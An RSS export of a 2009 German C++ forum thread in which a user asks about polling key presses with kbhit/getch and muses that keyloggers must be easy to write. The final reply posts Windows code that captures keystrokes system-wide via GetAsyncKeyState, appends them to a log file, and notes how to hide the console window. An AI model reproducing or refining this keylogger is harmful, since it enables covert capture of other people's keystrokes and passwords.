<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0"><channel><title><![CDATA[Frage zur Tastenabfrage]]></title><description><![CDATA[<p>Hallo,<br />
ich habe gelernt wie ich eine Taste abfrage. Dies funktioniert mit kbhit und getch aus conio.h. Meine Frage ist nun, ob man eine solche Frage auch anders verwirklichen kann, als in einer Endlosschleife? Wenn der Code nämlich in keiner Endlosschleife steht, dann hat man doch nur eine Millisekunde Zeit (wahrscheinlich noch weniger) um eine Eingabe zu machen. Wenn man zu spät die Taste drückt, dann ist das Programm schon an einer anderen Codezeile. Ich habe<br />
das so gemacht:</p>
<pre><code class="language-cpp">#include &lt;iostream&gt;
#include &lt;string&gt;
#include &lt;iomanip&gt;
#include &lt;conio.h&gt;
using namespace std;

int main()
{
	int c;
	while(true) //muss das in einer Endlosschleife stehen?
	{
	 if (kbhit() != 0)
	 {
	  c = getch();
	  if (c==27)
        	cout &lt;&lt; &quot;Sie haben ESC gedrueckt&quot; &lt;&lt; endl; 
	 }
	}

	return 0;
}
</code></pre>
<p>Eigentlich finde ich es schon errschreckend, wie leicht so was ist, denn eigentlich ist es dann ja gar kein Problem mehr Viren zu schreiben (z.B. einen Keylogger)....</p>
<p>Naja, vielen Dank<br />
lg, freakC++</p>
]]></description><link>https://www.c-plusplus.net/forum/topic/247848/frage-zur-tastenabfrage</link><generator>RSS for Node</generator><lastBuildDate>Thu, 17 Sep 2026 10:30:51 GMT</lastBuildDate><atom:link href="https://www.c-plusplus.net/forum/topic/247848.rss" rel="self" type="application/rss+xml"/><pubDate>Sun, 16 Aug 2009 17:20:01 GMT</pubDate><ttl>60</ttl><item><title><![CDATA[Reply to Frage zur Tastenabfrage on Sun, 16 Aug 2009 17:20:01 GMT]]></title><description><![CDATA[<p>Hallo,<br />
ich habe gelernt wie ich eine Taste abfrage. Dies funktioniert mit kbhit und getch aus conio.h. Meine Frage ist nun, ob man eine solche Frage auch anders verwirklichen kann, als in einer Endlosschleife? Wenn der Code nämlich in keiner Endlosschleife steht, dann hat man doch nur eine Millisekunde Zeit (wahrscheinlich noch weniger) um eine Eingabe zu machen. Wenn man zu spät die Taste drückt, dann ist das Programm schon an einer anderen Codezeile. Ich habe<br />
das so gemacht:</p>
<pre><code class="language-cpp">#include &lt;iostream&gt;
#include &lt;string&gt;
#include &lt;iomanip&gt;
#include &lt;conio.h&gt;
using namespace std;

int main()
{
	int c;
	while(true) //muss das in einer Endlosschleife stehen?
	{
	 if (kbhit() != 0)
	 {
	  c = getch();
	  if (c==27)
        	cout &lt;&lt; &quot;Sie haben ESC gedrueckt&quot; &lt;&lt; endl; 
	 }
	}

	return 0;
}
</code></pre>
<p>Eigentlich finde ich es schon errschreckend, wie leicht so was ist, denn eigentlich ist es dann ja gar kein Problem mehr Viren zu schreiben (z.B. einen Keylogger)....</p>
<p>Naja, vielen Dank<br />
lg, freakC++</p>
]]></description><link>https://www.c-plusplus.net/forum/post/1761859</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/1761859</guid><dc:creator><![CDATA[freakC++]]></dc:creator><pubDate>Sun, 16 Aug 2009 17:20:01 GMT</pubDate></item><item><title><![CDATA[Reply to Frage zur Tastenabfrage on Sun, 16 Aug 2009 17:37:29 GMT]]></title><description><![CDATA[<p>ist doch schon ne endlosschleife</p>
]]></description><link>https://www.c-plusplus.net/forum/post/1761868</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/1761868</guid><dc:creator><![CDATA[adsadsfadsf]]></dc:creator><pubDate>Sun, 16 Aug 2009 17:37:29 GMT</pubDate></item><item><title><![CDATA[Reply to Frage zur Tastenabfrage on Sun, 16 Aug 2009 18:09:09 GMT]]></title><description><![CDATA[<p>das weiß ich auch, aber ich frage mich, ob man eine ständige Tastenabfrage auch anders lösen kann??</p>
<p>lg, freakC++</p>
]]></description><link>https://www.c-plusplus.net/forum/post/1761881</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/1761881</guid><dc:creator><![CDATA[freakC++]]></dc:creator><pubDate>Sun, 16 Aug 2009 18:09:09 GMT</pubDate></item><item><title><![CDATA[Reply to Frage zur Tastenabfrage on Sun, 16 Aug 2009 18:55:25 GMT]]></title><description><![CDATA[<p>freakC++ schrieb:</p>
<blockquote>
<p>Eigentlich finde ich es schon errschreckend, wie leicht so was ist, denn eigentlich ist es dann ja gar kein Problem mehr Viren zu schreiben (z.B. einen Keylogger)....</p>
</blockquote>
<p>Viren != Keylogger</p>
<p>Das ist meilenweit voneinander entfernt.</p>
<p>Falls du mit deinem Programm Tasten abfangen willst, funktioniert es nicht. Da dein Programm den Focus haben muss.</p>
]]></description><link>https://www.c-plusplus.net/forum/post/1761892</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/1761892</guid><dc:creator><![CDATA[Noob!]]></dc:creator><pubDate>Sun, 16 Aug 2009 18:55:25 GMT</pubDate></item><item><title><![CDATA[Reply to Frage zur Tastenabfrage on Mon, 17 Aug 2009 07:11:22 GMT]]></title><description><![CDATA[<p>Sowas vielleicht ?</p>
<p>Hallo vielleicht suchtst du sowas?<br />
Ist zwar nicht standart C++ aber die Sachen mit dem Datei anlegen (falls du das brauchst) kannste ja noch umändern.</p>
<p>Naja und halt WIN API Sachen sind hier auch enthalten ...</p>
<pre><code class="language-cpp">#include &lt;windows&gt;
#include &lt;stdio&gt;
#include &lt;iostream&gt;
using namespace std;

int main()
{

AllocConsole();
ShowWindow(FindWindowA(&quot;ConsoleWindowClass&quot;,NULL),1); // 0 = konsole verstecken // 1 =  konsole anzeigen

FILE *Log;
short key;
char szKey[MAX_PATH];
int scan;

while(1)
{
  Sleep(10);
  for(key=0;key&lt;256;key++)
 {

    if(GetAsyncKeyState(key)==-32767)
    {
       scan=MapVirtualKeyEx(key,0,GetKeyboardLayout(0));
       GetKeyNameText(scan &lt;&lt; 16,szKey,MAX_PATH);
       Log=fopen (&quot;testdatei.txt&quot;,&quot;a+&quot;);
       cout&lt;&lt;endl;
       fprintf(Log,&quot;%s-&quot;,szKey);
       fclose(Log);
    }
  }
}
}
</code></pre>
]]></description><link>https://www.c-plusplus.net/forum/post/1762063</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/1762063</guid><dc:creator><![CDATA[sup]]></dc:creator><pubDate>Mon, 17 Aug 2009 07:11:22 GMT</pubDate></item></channel></rss>